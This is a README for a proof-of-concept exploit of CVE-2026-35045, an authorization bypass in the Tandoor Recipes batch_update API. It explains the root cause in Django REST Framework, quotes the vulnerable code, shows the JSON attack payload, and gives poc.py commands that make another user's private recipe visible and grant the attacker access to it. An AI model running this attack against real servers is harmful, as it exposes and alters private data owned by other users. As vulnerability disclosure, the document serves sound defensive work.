
Proof-of-concept exploit for CVE-2026-35045, a broken object-level authorization vulnerability in Tandoor Recipes, demonstrating unauthorized recipe modification via the batch_update API endpoint.
The PUT /api/recipe/batch_update/ endpoint in Tandoor Recipes v2.6.1 allows any authenticated user within a Space to modify any recipe in that Space — including private recipes owned by other users. This completely bypasses the object-level authorization checks enforced on all standard single-recipe endpoints.
The root cause is a Django REST Framework behavioral gap: detail=False list-actions never invoke has_object_permission(), only has_permission(). The queryset filters solely by space=request.space, with no check for created_by, private, or the shared list. An attacker can force-expose private recipes, self-grant persistent access, revoke other users' permissions, and tamper with metadata — all in a single unauthenticated-looking API call that returns HTTP 200 OK with an empty body.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Authorization Bypass Through User-Controlled Key |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Affected Version | Tandoor Recipes ≤ 2.6.1 |
| Vendor | TandoorRecipes/recipes |
| Technique ID | Name | Relevance |
|---|---|---|
| T1078 | Valid Accounts | Attacker uses legitimate low-privilege credentials to bypass authorization |
| T1565.001 | Stored Data Manipulation | Modifying private recipes and ACLs owned by other users |
detail=False Bypasses Object-Level Permission ChecksFile: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← No created_by or private check
)
In Django REST Framework, actions registered with detail=False are list-actions. They never call get_object(), which means check_object_permissions() and CustomRecipePermission.has_object_permission() are never invoked. Only has_permission() runs — which verifies Space membership, not recipe ownership.
PUT /api/recipe/{id}/ follows the full DRF permission flow:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ denies access if recipe is private and not owned/shared with requester
The batch_update endpoint silently skips this entire chain.
RecipeBatchUpdateSerializer exposes the following fields — writable on any recipe in the Space:
| Field | Effect |
|---|---|
private | Toggle recipe visibility |
shared_add / shared_remove / shared_set | Manipulate the access control list |
keywords_add / keywords_remove / keywords_set | Alter recipe metadata |
working_time / waiting_time | Modify recipe timing data |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│ Tandoor Server │
│ (User B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space member)│
│ │
│ has_object_ │
│ permission() │
│ ✗ NEVER CALLED │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← No ownership check
│
▼
┌────────────────┐
│ Recipe ID 2 │
│ (owned by A) │
│ private=false ← patched
│ shared=[2] ← self-granted
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Attacker (B) │
│ now has full │
│ access to │
│ Recipe ID 2 │
└────────────────┘
requests librarypip install requests
# Force-expose a private recipe and self-grant access (default)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Force-expose only (set private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Self-grant only (add to shared list, keep private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| Action | Description |
|---|---|
expose | Sets private: false on the target recipe — forces visibility to all Space members |
self_grant | Adds attacker's user ID to shared_add — grants persistent access even if recipe stays private |
both | Runs both actions in a single request (default) |